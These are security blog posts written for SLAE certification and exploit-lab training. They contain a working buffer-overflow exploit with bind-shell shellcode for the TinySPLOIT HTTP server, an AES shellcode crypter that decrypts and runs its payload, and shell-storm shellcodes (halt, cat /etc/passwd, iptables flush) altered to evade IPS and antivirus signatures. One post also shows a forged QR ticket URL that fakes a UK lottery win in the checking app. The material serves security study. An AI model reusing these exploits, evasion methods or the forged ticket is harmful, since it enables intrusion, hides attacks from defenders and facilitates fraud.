Sunday, 21 August 2016

How to win the national lottery...

Dead quick post for a laugh...

It seems the UK national lottery have brought in a new QR code system for checking tickets.

The decoded URL looks a bit like;
tnl.uk/app/G20/N01/D5/F0930/B5/S0407111426020402052230420711061924384305100309313645050619273435480609/RJTM883324JTM883325JTM883326JTM883327JTP111531

Actually that one I've modified to include a winning result... Build and print the QR code and pass it into the national lottery results checking app and..... Pic attached :-)


P.s. Don't anybody be stupid enough to try and claim, K?

Sunday, 19 June 2016

Exploiting TinySPLOIT

Hi there - so recently I attended one of Saumil Shah's excellent Exploit Lab training sessions, highly recommended.  After that, I got hold of a training VM that he had put together called TinySPLOIT.

The challenge is to build an exploit for the HTTP server running on the VM & this is my write-up of solving it :-)

Okay so after setting up the VM, I see a HTTP server, the page indicates that this service is indeed the target and gives a quick clue to the exploitation vector;



So I put together a quick perl script to pipe out using netcat to test out the crash condition and do the binary chop to figure out the bytes that overwrite EIP;

1:  #!/usr/bin/perl  
2:  print "GET /" . "A"x352 . "B"x4 . "C"x450 . "HTTP/1.0\n\n";  

The B's nicely overwrite EIP at this stage and ESP points to the beginning of the C's so I can just hunt for a JMP ESP to use like so;

 (gdb) info proc mappings  
 process 1057  
 Mapped address spaces:  
     Start Addr  End Addr    Size   Offset objfile  
      0x8048000 0x804c000   0x4000    0x0 /opt/ghttpd/ghttpd  
      0x804c000 0x804d000   0x1000   0x3000 /opt/ghttpd/ghttpd  
      0x804d000 0x804f000   0x2000   0x4000 /opt/ghttpd/ghttpd  
      0x804f000 0x8071000  0x22000    0x0 [heap]  
     0xb7eb8000 0xb7ec0000   0x8000    0x0 /lib/libnss_files-2.17.so  
     0xb7ec0000 0xb7ec1000   0x1000   0x7000 /lib/libnss_files-2.17.so  
     0xb7ec1000 0xb7ec2000   0x1000   0x8000 /lib/libnss_files-2.17.so  
     0xb7ec4000 0xb7ec5000   0x1000    0x0  
     0xb7ec5000 0xb7fdc000  0x117000    0x0 /lib/libc-2.17.so  
     0xb7fdc000 0xb7fde000   0x2000  0x116000 /lib/libc-2.17.so  
     0xb7fde000 0xb7fdf000   0x1000  0x118000 /lib/libc-2.17.so  
     0xb7fdf000 0xb7fe2000   0x3000    0x0  
     0xb7fe3000 0xb7fe4000   0x1000    0x0  
     0xb7fe4000 0xb7fe5000   0x1000    0x0  
     0xb7fe5000 0xb7fe6000   0x1000    0x0 [vdso]  
     0xb7fe6000 0xb7ffe000  0x18000    0x0 /lib/ld-2.17.so  
     0xb7ffe000 0xb7fff000   0x1000  0x17000 /lib/ld-2.17.so  
     0xb7fff000 0xb8000000   0x1000  0x18000 /lib/ld-2.17.so  
     0xbffdf000 0xc0000000  0x21000    0x0 [stack]  
 (gdb) find /b 0xb7ec5000, 0xb7fdc000, 0xff, 0xe4  
 0xb7ec7a51  
 0xb7fb7223  
 ...  


Okay next stage is to add in the shellcode so I attempted to use the bind shell one I wrote for my SLAE here: http://pheneghan.blogspot.co.uk/2016/05/x86-bind-shell-from-scratch.html - this didn't work and there is a good reason why...  Busybox!

So while my previous bind shell shellcode called execve like this;

execve("/bin//sh", [0], [/* 0 vars */])

...with busybox, I'll need to call it like this instead;

execve("/bin//sh", ["/bin//sh"], [/* 0 vars */])

Busybox uses a series of symbolic links to real program names and a single big binary contains all of the basic GNU tools and switches depending on how it is called.  Clearly for this, it'll need to know the argv[0] value and so the second case is required.

I modified the shellcode as shown below to implement the new execve and call /bin/sh using busybox;

 paul@SLAE001:~$ cat tinysploit.nasm  
 ; bind.asm  
 ; Paul Heneghan  
 global _start  
 section .text  
   _start:  
   ; clear regs so can use al, bl, etc... to avoid nulls!  
        xor          eax, eax  
        xor          ebx, ebx  
        xor          esi, esi     ;going to use this to push nulls  
   ; socket via socketcall  
     mov   bl, 0x1           ; socketcall number 1  
                                   ; int socket(int domain, int type, int protocol);  
     push  esi                ; socket arg 3  
     push  0x1                ; socket arg 2  
     push  0x2                    ; socket arg 1  
     mov   ecx, esp          ; socketcall args  
     mov   al, 0x66           ; system call number 66  
                                   ;int socketcall(int call, unsigned long *args);  
     int   0x80  
     mov          edx, eax          ; save sockfd for later  
      ; bind via socketcall  
        mov   bl, 0x2            ; socketcall number 2  
                                      ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);  
        push     esi                ;ip addr = any  
        push     word      0x5c11               ;port 115c = 4444  
        push     word     0x2                    ;family inet = 2  
        mov          ecx, esp  
        push     0x10               ; bind arg 3  
        push     ecx                ; bind arg 2  
        push      eax                    ; bind arg 1  
        mov   ecx, esp          ; pointer to bind args  
        mov   al, 0x66           ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
     int   0x80  
      ; listen via socketcall  
        mov   bl, 0x4       ; socketcall number 4  
                                      ;int listen(int sockfd, int backlog);  
        push      esi                ; listen arg 2  
        push      edx                    ; listen arg 1  
        mov      ecx, esp  
        mov   al, 0x66       ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
        int   0x80  
      ; accept via socketcall  
        mov   bl, 0x5       ; socketcall number 5  
                                      ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);   
        push     esi                ; bind arg 3  
        push     esi                ; bind arg 2  
        push      edx                    ; bind arg 1  
        mov   ecx, esp          ; pointer to bind args  
        mov   al, 0x66       ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
        int   0x80  
        mov          ebx, eax          ; save connection fd for later  
      ; dup2  
        xor      ecx, ecx           ; clear down ecx to avoid nulls  
 duploop:  
        mov   al, 0x3f          ; int dup2(int oldfd, int newfd);  
        int   0x80  
           inc          ecx  
           cmp ecx, 3  
           jne duploop  
      ; execve  
           mov al, 0xb               ; int execve(const char *filename, char *const argv[], char *const envp[]);  
           push esi  
           push     0x68732f2f  
           push     0x6e69622f  
           mov ebx, esp  
           push esi  ;new instruction to add a null spacer  
           push ebx ;new instruction to push the address of the /bin//sh  
           mov ecx, esp ;move the stack pointer into the second execve arg  
           ;xor ecx, ecx  
           xor edx, edx  
           int 0x80  
 paul@SLAE001:~$ ./compile.sh tinysploit  
 [+] Assembling with Nasm ...   
 [+] Linking ...  
 [+] Done!  
 paul@SLAE001:~$ objdump -d ./tinysploit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'   
 "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80"  
 paul@SLAE001:~$   


Now I can drop this shellcode into the exploit script like so;

1:  #!/usr/bin/perl  
2:  $shellcode = "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80";  
3:  print "GET /" . "A"x352 . "\x51\x7a\xec\xb7" . $shellcode . "C"x200 . "HTTP/1.0\n\n";  

This works nicely and the bind shell works :-)





Thanks again to Saumil Shah for the excellent training!

Friday, 17 June 2016

x86 custom shellcode crypter

The final part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is to create a custom crypter as a standalone elf, to execute shellcode locally.

For this, I am going to use AES as the encryption algorithm and the execve /bin/sh shellcode payload, and code the crypter in C.  I looked around at which libraries are available...  I wasn't about to write the algorithm from scratch...!

I discovered a nice PoC using the libmcrypt Library here;
https://gist.github.com/bricef/2436364#file-aes-c

Firstly, I bastardised this program to allow me to encrypt the shellcode.
https://github.com/pabb85/SLAE/blob/master/crypt-test.c ;

 paul@SLAE001:~$ cat crypt-test.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
   
 /*  
  * MCrypt API available online:  
  * http://linux.die.net/man/3/mcrypt  
  */  
 #include <mcrypt.h>  
   
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
 int encrypt(  
   void* buffer,  
   int buffer_len, /* Because the plaintext could include null bytes*/  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
   
  mcrypt_generic_init(td, key, key_len, IV);  
  mcrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 void display(char* ciphertext, int len){  
  int v;  
  for (v=0; v<len; v++){  
   printf("%c", ciphertext[v]);  
  }  
  printf("\n");  
 }  
   
 int main()  
 {  
  MCRYPT td, td2;  
  unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  unsigned char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, plaintext, buffer_len);  
   
  printf("==C==\n");  
  printf("plain:  %s\n", plaintext);  
  encrypt(buffer, buffer_len, IV, key, keysize);   
  printf("cipher: "); display(buffer , buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
  printf("decrypt: %s\n", buffer);  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc crypt-test.c -o crypt-test -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./crypt-test |hexdump -C  
 00000000 3d 3d 43 3d 3d 0a 70 6c 61 69 6e 3a 20 20 20 31 |==C==.plain:  1|  
 00000010 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 |.Ph//shh/bin..P.|  
 00000020 e2 53 89 e1 b0 0b cd 80 0a 63 69 70 68 65 72 3a |.S.......cipher:|  
 00000030 20 20 27 02 b8 1b cc 83 26 55 ec bb 06 82 33 bc | '.....&U....3.|  
 00000040 22 cf aa 35 ab d4 cf b0 ed 5c 0a 11 30 32 e6 eb |"..5.....\..02..|  
 00000050 71 1f 0a 64 65 63 72 79 70 74 3a 20 31 c0 50 68 |q..decrypt: 1.Ph|  
 00000060 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 e2 53 89 |//shh/bin..P..S.|  
 00000070 e1 b0 0b cd 80 0a                 |......|  
 00000076  
 paul@SLAE001:~$   
   


After this, I again hacked the elegant original file into a messy decryption program.
https://github.com/pabb85/SLAE/blob/master/decrypt-test.c ;

 paul@SLAE001:~$ cat decrypt-test.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
   
 /*  
  * MCrypt API available online:  
  * http://linux.die.net/man/3/mcrypt  
  */  
 #include <mcrypt.h>  
   
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
 int encrypt(  
   void* buffer,  
   int buffer_len, /* Because the plaintext could include null bytes*/  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
   
  mcrypt_generic_init(td, key, key_len, IV);  
  mcrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 void display(char* ciphertext, int len){  
  int v;  
  for (v=0; v<len; v++){  
   printf("\\x%x", ciphertext[v]);  
  }  
  printf("\n");  
 }  
   
 int main()  
 {  
  MCRYPT td, td2;  
  char * plaintext = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, plaintext, buffer_len);  
   
  printf("==C==\n");  
  //printf("plain:  %s\n", plaintext);  
  //encrypt(buffer, buffer_len, IV, key, keysize);   
  printf("cipher: "); display(buffer , buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
  printf("decrypt: %s\n", buffer);  
    
  //jump into SC  
  printf("Shellcode Length: %d\n", strlen(buffer));  
  int (*ret)() = (int(*)())buffer;  
  ret();  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc decrypt-test.c -o decrypt-test -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./decrypt-test   
 ==C==  
 cipher: \x27\x2\xffffffb8\x1b\xffffffcc\xffffff83\x26\x55\xffffffec\xffffffbb\x6\xffffff82\x33\xffffffbc\x22\xffffffcf\xffffffaa\x35\xffffffab\xffffffd4\xffffffcf\xffffffb0\xffffffed\x5c\xa\x11\x30\x32\xffffffe6\xffffffeb\x71\x1f  
 decrypt: 1�Ph//shh/bin��P��S���  
   
 Shellcode Length: 25  
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   


Wahey!!  This works.  Note that the decrypt-test.c doesn't contain the unencrypted version of the shellcode :-)

So finally, clean up the code somewhat to complete the exercise and my exam submission for SLAE..!
https://github.com/pabb85/SLAE/blob/master/crypter-final.c ;

 paul@SLAE001:~$ cat crypter-final.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
 #include <mcrypt.h>  
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
   
 int main()  
 {  
  MCRYPT td, td2;  
  char * crypted_sc = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, crypted_sc, buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
    
  //jump into SC  
  int (*ret)() = (int(*)())buffer;  
  ret();  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc crypter-final.c -o crypter-final -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./crypter-final   
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

x86 shellcode defeating pattern-matching

Hi there, post six of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is an exercise in defeating pattern-matching by altering three shellcodes gathered from shell-storm.org - the aim of which is to allow the shellcode to function as normal even if the shellcode has been sampled and entered into IPS/AV signature databases.

The three results follow :-)

https://github.com/pabb85/SLAE/blob/master/execve-halt-altered_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-483.php  
 Description: Linux/x86 - execve(/sbin/halt,/sbin/halt) - 27 bytes by TheWorm  
   
 This shellcode comes in a C program like so;  
 --begins--  
 #include <stdio.h>  
   
 const char shellcode[]=  
      "\x6a\x0b"          // push     $0xb  
      "\x58"               // pop     %eax  
      "\x99"               // cltd  
      "\x52"               // push     %edx  
      "\x66\x68\x6c\x74"     // pushw $0x746c  
      "\x68\x6e\x2f\x68\x61"     // push     $0x61682f6e  
      "\x68\x2f\x73\x62\x69"     // push     $0x6962732f  
      "\x89\xe3"          // mov     %esp,%ebx  
      "\x52"               // push     %edx  
      "\x53"               // push     %ebx  
      "\x89\xe1"          // mov     %esp,%ecx  
      "\xcd\x80";          // int     $0x80  
   
 int main()  
 {  
      printf     ("\n[+] Linux/x86 execve(/sbin/halt,/sbin/halt)"  
           "\n[+] Date: 11/07/2009"  
           "\n[+] Author: TheWorm"  
           "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);  
      (*(void (*)()) shellcode)();  
      return 0;  
 }  
 --ends--  
   
 Let's keep this first example simple - break the pattern with nops :-)  
   
 "\x6a\x0b"          // push     $0xb  
 "\x90"               // nop  
 "\x58"               // pop     %eax  
 "\x90"               // nop  
 "\x99"               // cltd  
 "\x90"               // nop  
 "\x52"               // push     %edx  
 "\x90"               // nop  
 "\x66\x68\x6c\x74"     // pushw $0x746c  
 "\x90"               // nop  
 "\x68\x6e\x2f\x68\x61"     // push     $0x61682f6e  
 "\x90"               // nop  
 "\x68\x2f\x73\x62\x69"     // push     $0x6962732f  
 "\x90"               // nop  
 "\x89\xe3"          // mov     %esp,%ebx  
 "\x90"               // nop  
 "\x52"               // push     %edx  
 "\x90"               // nop  
 "\x53"               // push     %ebx  
 "\x90"               // nop  
 "\x89\xe1"          // mov     %esp,%ecx  
 "\x90"               // nop  
 "\xcd\x80";          // int     $0x80  
   
   
 Let's prove this by compiling and running (I'm going to catch this in strace as a low priv user because I don't really want the halt :-)  
   
   
 paul@SLAE001:~$ gcc execve-halt-altered.c -o execve-halt-altered -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ strace ./execve-halt-altered   
 execve("./execve-halt-altered", ["./execve-halt-altered"], [/* 21 vars */]) = 0  
 ...  
 write(1, "\n", 1  
 )            = 1  
 write(1, "[+] Linux/x86 execve(/sbin/halt,"..., 44[+] Linux/x86 execve(/sbin/halt,/sbin/halt)  
 ) = 44  
 write(1, "[+] Date: 11/07/2009\n", 21[+] Date: 11/07/2009  
 ) = 21  
 write(1, "[+] Author: TheWorm\n", 20[+] Author: TheWorm  
 )  = 20  
 write(1, "\n", 1  
 )            = 1  
 write(1, "[+] Shellcode Size: 38 bytes\n\n", 30[+] Shellcode Size: 38 bytes  
   
 ) = 30  
 execve("/sbin/halt", ["/sbin/halt"], [/* 0 vars */]) = 0  
 ...  
 write(2, "halt: Need to be root\n", 22halt: Need to be root  
 ) = 22  
 exit_group(1)              = ?  
 paul@SLAE001:~$   
   
 Okay, nice... This very basic method works.  
 Although - it does increases the size of the shellcode a fair bit.  
   

https://github.com/pabb85/SLAE/blob/master/cat-passwd-altered_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-571.php  
 Description: Linux/x86 - bin/cat /etc/passwd - 43 bytes by fb1h2s  
   
 This shellcode also comes in a C program like so;  
 --begins--  
 #include <stdio.h>  
    
 const char shellcode[]="\x31\xc0" // xorl %eax,%eax  
 "\x99" // cdq  
 "\x52" // push edx  
 "\x68\x2f\x63\x61\x74" // push dword 0x7461632f  
 "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f  
 "\x89\xe3" // mov ebx,esp  
 "\x52" // push edx  
 "\x68\x73\x73\x77\x64" // push dword 0x64777373  
 "\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f  
 "\x68\x2f\x65\x74\x63" // push dword 0x6374652f  
 "\x89\xe1" // mov ecx,esp  
 "\xb0\x0b" // mov $0xb,%al  
 "\x52" // push edx  
 "\x51" // push ecx  
 "\x53" // push ebx  
 "\x89\xe1" // mov ecx,esp  
 "\xcd\x80" ; // int 80h  
    
 int main()  
 {  
 (*(void (*)()) shellcode)();  
    
 return 0;  
 }  
    
    
 /*  
 shellcode[]=     "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64"   
           "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";  
 */  
 --ends--  
   
 On this second example, let's mess around with it by adding unnecessary but valid instructions :-)  
   
 "\x31\xc0" // xorl %eax,%eax  
 "\x99" // cdq  
 "\x52" // push edx  
 "\x68\x2f\x63\x61\x74" // push dword 0x7461632f  
 "\x68\xef\xbe\xad\xde" // ADDED: push dword 0xdeadbeef  
 "\x5b" // ADDED: pop ebx  
 "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f  
 "\x89\xe3" // mov ebx,esp  
 "\x52" // push edx  
 "\x68\x73\x73\x77\x64" // push dword 0x64777373  
 "\x40" // ADDED: inc eax  
 "\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f  
 "\x48" // ADDED: dec eax  
 "\x68\x2f\x65\x74\x63" // push dword 0x6374652f  
 "\x89\xe1" // mov ecx,esp  
 "\xb0\x0b" // mov $0xb,%al  
 "\x52" // push edx  
 "\x51" // push ecx  
 "\x53" // push ebx  
 "\x89\xe1" // mov ecx,esp  
 "\xcd\x80" ; // int 80h  
   
   
 Let's prove this by compiling and running...  
   
 paul@SLAE001:~$ gcc cat-passwd-altered.c -o cat-passwd-altered -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./cat-passwd-altered   
 root:x:0:0:root:/root:/bin/bash  
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
 bin:x:2:2:bin:/bin:/bin/sh  
 ...  
 paul@SLAE001:~$   
   
   
 Okay, nice... Also another method which works nicely.  
 Less easy for IDS/AV/etc to spot, they could exclude NOPs but not valid instrutions.  
 Breaks up the strings being pushed also.  
   
 Adds a small bit of size.  
   
   

https://github.com/pabb85/SLAE/blob/master/flush-iptables_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-368.php  
 Description: Linux/x86 - iptables --flush - 43 bytes by Hamza Megahed  
   
 This shellcode comes as a C file;  
 --begins--  
 /*  
  * 06/03/2003   
  *   
  * ( 45 bytes ) to flush iptables.  
  *  
  * _execve(/sbin/iptables -F) by UnboundeD  
  * greetz to s0t4ipv6.  
  *  
  */  
   
 char shellcode[] =  
   
 "\x31\xd2"           // xorl     %edx,%edx  
 "\x52"             // pushl    %edx  
 "\x66\x68\x2d\x46"       // pushw    $0x462d  
 "\x89\xe6"           // movl     %esp,%esi  
 "\x52"             // pushl    %edx  
 "\x68\x62\x6c\x65\x73"     // pushl    $0x73656c62  
 "\x68\x69\x70\x74\x61"     // pushl    $0x61747069  
 "\x89\xe7"           // movl     %esp,%edi  
 "\x68\x62\x69\x6e\x2f"     // pushl    $0x2f6e6962  
 "\x68\x2f\x2f\x2f\x73"     // pushl    $0x732f2f2f  
 "\x89\xe3"           // movl     %esp,%ebx  
 "\x52"             // pushl    %edx  
 "\x56"             // pushl    %esi  
 "\x57"             // pushl    %edi  
 "\x89\xe1"           // movl     %esp,%ecx  
 "\x31\xc0"           // xorl     %eax,%eax  
 "\xb0\x0b"           // movb     $0xb,%al  
 "\xcd\x80"           // int     $0x80  
 ;  
   
 main() {  
     int *ret;  
     ret=(int *)&ret +2;  
     printf("Shellcode lenght=%d\n",strlen(shellcode));  
     (*ret) = (int)shellcode;  
 }  
 --ends--  
   
 For this third example, let's straight-up try and optimise it.   
 Let's try and run it first...  
   
 paul@SLAE001:~$ gcc flush-iptables.c -o flush-iptables -m32 -fno-stack-protector -z execstack  
 flush-iptables.c: In function ‘main’:  
 flush-iptables.c:36:9: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]  
 flush-iptables.c:36:40: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]  
 paul@SLAE001:~$ strace ./flush-iptables   
 execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0  
 ...  
 write(1, "Shellcode lenght=45\n", 20Shellcode lenght=45  
 )  = 20  
 exit_group(-1081789164)         = ?  
 paul@SLAE001:~$   
   
   
 Okay, getting some errors running it so just dropped it into a known-working C program wrapper with the includes, etc.  
   
 paul@SLAE001:~$ cat shellcode.c   
 #include<stdio.h>  
 #include<string.h>  
   
 //compile with: gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack   
   
   
 unsigned char code[] = \  
 "\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";  
   
 main()  
 {  
   
      printf("Shellcode Length: %d\n", strlen(code));  
   
      int (*ret)() = (int(*)())code;  
   
      ret();  
   
 }  
 paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ strace ./shellcode   
 execve("./shellcode", ["./shellcode"], [/* 21 vars */]) = 0  
 ...  
 write(1, "Shellcode Length: 45\n", 22Shellcode Length: 45  
 ) = 22  
 execve("///sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0  
 brk(0)                 = 0x9804000  
 ...  
 exit_group(3)              = ?  
 paul@SLAE001:~$   
   
   
 Okay, this works, lets have a tinker with the shellcode and try and optimise it somewhat - the main purpose being to change the instructions so that the pattern of the file is not recognised by IPS/AV as being in their signature databases.  
   
 I came up with the following alternative version of the shellcode;  
   
 global _start  
 section .text  
 _start:  
   xor eax,eax  
   mov al,0xb  
   cdq  
   ;xor edx,edx  
   push edx  
   push word 0x462d    ; -F  
   mov esi,esp  
   push edx  
   push dword 0x73656c62  ; bles  
   push dword 0x61747069  ; ipta  
   mov edi,esp  
   push dword 0x2f6e6962  ; bin/  
   push word 0x732f    ; /s  
   mov ebx,esp  
   push edx  
   push esi  
   push edi  
   mov ecx,esp  
   ;xor eax,eax  
   ;mov al,0xb  
   int 0x80  
   
   
 Let's test it...  
   
 paul@SLAE001:~$ ./compile.sh flush-iptables  
 [+] Assembling with Nasm ...   
 [+] Linking ...  
 [+] Done!  
 paul@SLAE001:~$ strace ./flush-iptables   
 execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0  
 execve("/sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0  
 ...  
 exit_group(3)              = ?  
 paul@SLAE001:~$ objdump -d ./flush-iptables|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'  
 "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80";' | wc -c  
 43  
 paul@SLAE001:~$   
   
   
 Nice...! In the new, altered form it works.  
   
